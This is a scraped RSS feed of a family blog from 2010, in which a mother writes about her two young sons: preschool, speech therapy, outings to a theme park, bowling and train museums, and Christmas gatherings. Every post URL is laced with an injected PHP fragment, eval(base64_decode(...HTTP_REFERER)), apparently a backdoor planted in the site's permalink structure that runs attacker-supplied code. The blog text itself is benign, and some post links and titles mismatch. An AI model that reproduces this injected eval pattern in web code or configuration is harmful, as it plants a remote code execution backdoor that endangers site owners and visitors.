The LaGarde Family http://www.lagardefamily.com Life to the Fullest - Chris, April, Logan & Grayson Wed, 01 Sep 2010 16:51:21 +0000 en hourly 1 http://wordpress.org/?v=3.0 Logan http://www.lagardefamily.com/2010/09/01/logan-3/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.lagardefamily.com/2010/09/01/logan-3/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 01 Sep 2010 16:51:21 +0000 April http://www.lagardefamily.com/?p=737 I thought I would update you on each of us since I haven’t done a post to tell you about what we are up to in so long….

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Logan is now 4 1/2 and he is going to be starting preschool on September 13th… Oh goodness this makes me sooo sad even though I know it is best for him and I know he will LOVE it, I am just not ready for my baby to be that old… Nor am I ready to have a schedule… UGH!!!! He will be going 9am-12pm Monday threw Thursday and I am so not a morning person… I am however looking forward to having some alone time with Grayson I think he will thrive and love having me to himself…

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Logan is growing up to be such an amazing big brother! He loves Grayson, hes caring and sensitive! The other day Chris took Gray with him to breakfast and Logan missed him so much, I don’t know how he will survive once he goes to preschool, since once he gets home Gray will be going down for a nap… It shall be interesting…

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Logan has always been overly sensitive and he will often come over and give me a hug or a cuddle… Lately Logan has started to come in to our room after chris has left for work and before I’ve gotten up and will get up in bed with me and snuggle!!! I love it, its our few minutes of time that we can hang out and I can love on him and he is ok with it :) haha He is the sweetest boy in the world and I just love how sweet he is…

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Logan is still struggling with his speech, he has a lisp and doesn’t seem to have a grasp on some of the more basic parts of our language…  (such as if you ask him how he day is he will go into a long diatribe about a movie he just watched) yeah its strange…. After two years of speech we were both exhausted and sick of going every week so I canceled speech for the summer…. It was a great break but we will be starting back up in another week or so …

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Logan just loves the men in his life, his Pop Pops, uncles, adopted uncles (my cousins) and of course daddy… He adores them and the time and love they give him, its really wonderful to know he has so many Godly manly influences… We are very blessed!!!

Logan likes anything that is boyish but is wiling to do girlie things too, it is fun and wonderful for me who only has boys to be able to turn on a princess movie and he will actually watch… This may not last long, I’m sure soon he will realize that he is a boy and he’s not supposed to like girlie things but for now I’ll enjoy it!

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Logan loves to swim and play outside! He loves to ride bike and run… He is actually clean for a boy, he likes mud but isn’t all about it, he’ll play in it if its there but he doesn’t like being dirty for too long and will want me to clean him up… He is scared of spiders and bugs, which totally surprises me… Aren’t boys supposed to love things like that??? I’m not scared at all and neither is Chris so I don’t know where he gets it… we are working on it though cause let me just tell you I can’t stand it :) haha

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He is all boy and I love it!!! I am often asked by my girlfriends who have girls how I can stand the boys activity… I mean the boys run around the house and scream and yell, they play hard and I LOVE IT!!! I just love how active they are and how creative they are… they are playing puppies with a big box at the moment and and then proceeding to run from one room to the next and jump on the couch… The things I let my kids do that I never imagined letting them do… like jump on the bed and couch, bounce down the stairs, throw balls etc. I am that bad mom :)

]]> http://www.lagardefamily.com/2010/09/01/logan-3/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Summer Fun- dutch wonderland http://www.lagardefamily.com/2010/08/18/summer-fun-dutch-wonderland/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.lagardefamily.com/2010/08/18/summer-fun-dutch-wonderland/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 18 Aug 2010 20:56:28 +0000 April http://www.lagardefamily.com/?p=733 IMG_4971.JPG

Back at the beginning of June we went to the Strawberry Festival at the brandywine hospital… we ate dinner and then rode rides… Logan loved it!!! Gray not so much :)   Logan has been asking to go to the Strawberry Festival ever since and so we decided to go to a theme park…

On July 26, 2010 we went to dutch wonderland (or as Logan calls it the Strawberry Festival, apparently anything with rides is now the “Strawberry Festival”). we decided to go as a family and it was one of the most wonderful days EVER!!!!

We had so much fun watching the boys have fun… Their first ride was the Mini whip and they loved it and everything else after that… I think they rode on almost every ride and we spent the afternoon in the water park it was an amazing family day!!! We are so glad we bought a 2 day flex pass and get to go again!

Here are  a few pictures of our day!!!

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]]> http://www.lagardefamily.com/2010/08/18/summer-fun-dutch-wonderland/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Pitiful http://www.lagardefamily.com/2010/07/29/pitiful/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.lagardefamily.com/2010/07/29/pitiful/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 29 Jul 2010 19:29:56 +0000 April http://www.lagardefamily.com/?p=727 Yes, that is right that is the word that best describes this blog and me!!! :)

There is no excuse I’ve been a major slacker! I’ve been trying to add pictures but we are over our limit so i can’t add any more SO in the mean time here are a few pictures from this past spring…

Our Trip to Longwood Gardens

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Easter 2010

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Playing at MeeMom and PeePops

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]]> http://www.lagardefamily.com/2010/07/29/pitiful/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Bowling http://www.lagardefamily.com/2010/04/26/bowling/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.lagardefamily.com/2010/04/26/bowling/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 27 Apr 2010 02:03:10 +0000 April http://www.lagardefamily.com/?p=723 Ok, we’re back sorry for the delay… I got a new computer and at first I couldn’t up load pictures then chris fixed it and then when I finally did upload pictures I did it wrong and they wouldn’t show up and so now Chris just fixed it… Phew Hopefully I won’t mess anything up and we’ll be all good from here on out :)

SO, anyway…. In January our moms group went bowling… we of course got there late but had a ton of fun!!! Here are some pictures of the boys and their friends!!!

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Here’s our little cool cat gray… he was so excited to bowl for the first time

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Here’s Logan… he insisted on wearing his cowboy boots haha!!!

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Logan bowling :) everyone used these metal things to help the kids along with the bumpers this way the kids ended up actually hitting the pins and in a timely manner :)

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Aubrey O’Malley getting ready to bowl, (she is Logan’s best buddy :) )

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Grayson Bowling!!!!

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Leah O’Malley (grayson’s buddy) and her Grammy bowling

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Abbey McLaughlin, another one of Grayson’s girlfriends! :)

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Here is Gray and Abbey hugging although it looks like Gray is putting Abbey in a head lock… as you can see we did more than bowl :)

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Logan in his cool bowling shoes… he was acting silly, he always gets over excited when we hang out with his friends…

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Logan and Gray

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Heres what they were doing by the end… haha snow angels on the bowling floor :) obviously the game was a little slow :)

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Logan and Gray right before we headed out :) we had a blast… so much so Logan asked to bowl for his birthday (pics to come)

]]> http://www.lagardefamily.com/2010/04/26/bowling/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Legos http://www.lagardefamily.com/2010/03/02/legos/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.lagardefamily.com/2010/03/02/legos/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 03 Mar 2010 00:09:44 +0000 April http://www.lagardefamily.com/?p=721 A few months ago, Chris, my smart husband called home and said he wanted to get some lego kits to do with Logan. What a great idea, Logan is TOTALLY into it!!! I should have known this is totally how Logan is “smart”…  I should have thought of it but I didn’t, so I give all the credit to my smart smart hubby!!

Here are a few pictures of Chris and Logan putting together their first Lego kit :)

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]]> http://www.lagardefamily.com/2010/02/26/cool-cat-2/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Trains Trains Trains http://www.lagardefamily.com/2010/02/16/trains-trains-trains/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.lagardefamily.com/2010/02/16/trains-trains-trains/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 16 Feb 2010 20:52:00 +0000 April http://www.lagardefamily.com/?p=716 IMG_2508.JPG

Back in January we decided to take a Saturday trip as a family out to ride the Strasburg rail road… we got there and guess what??? no trains were running, They were closed til February something… FIGURES!!!  Well, we decided to enjoy our day anyway so we went across the street and looked at the trains in the train museum… my personal opinion was it SUCKED!!! But they boys sort of liked it… I would not recommend it nor would I ever go again… but here are a few pictures of our day as a family… it was fun to watch the boys and enjoy time together…

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]]> http://www.lagardefamily.com/2010/02/16/trains-trains-trains/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Look at what I got for Christmas http://www.lagardefamily.com/2009/12/28/look-at-what-i-got-for-christmas/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.lagardefamily.com/2009/12/28/look-at-what-i-got-for-christmas/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 28 Dec 2009 22:30:39 +0000 April http://www.lagardefamily.com/?p=713 from my hunny!!!

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I’ve been asking for a zoom lens for almost as long as we’ve been married… and well, Chris my amazing hubby, finally got me one!!! I love it!!!

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and how beautiful are these??? Logan gave me the one with the puppy and grayson gave me the other little boy and Chris gave me the mom with the baby… how sweet are they???!!! My husband is amazing!!!

Thank you baby I love love love you!!!

I also got a few other fun gifts from my amazing family but I felt like it would be bragging :) -

FYI- I just did like 100 post updating everyone on what we have been up to for the last few months…  Make sure you see them all :)

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]]> http://www.lagardefamily.com/2009/12/28/day-after-christmas-with-the-boyes/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Christmas Evening 2009 http://www.lagardefamily.com/2009/12/28/christmas-evening-2009/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.lagardefamily.com/2009/12/28/christmas-evening-2009/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 28 Dec 2009 22:23:30 +0000 April http://www.lagardefamily.com/?p=709 On Christmas we had two meals… at 1 pm we ate with the Boyes and we hung out and talked til 5 and then headed down to Aunt Diane and Uncle Eds for our Kepiro Clan Christmas… we ate another dinner and then chatted and exchanged a few gifts mostly just for the boys…

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Gray found this old antique Coffee bin at Aunt Dianes and it became him and Logans play thing/ hiding spot it was cute!

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Grandpop and Polly- I just got a new lens and I didn’t know how to focus it yet sorry for the blurry pictures :)

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Renee being all sneaky…

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christie giving us the evil eye :)

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in the coffee bin

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both boys in the coffee bin… after this they were in there with the door closed with their flash lights too funny!!!

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Renee and Mike helping unwrap

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peaking

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Logan helping Gray… Its Woody!

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waiting patiently for mom and Christie to get woody out of the box…

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Buzz Lightyear to the rescue

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kisses

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yee haw

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Flashlights from Aunt Didi

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flying :)

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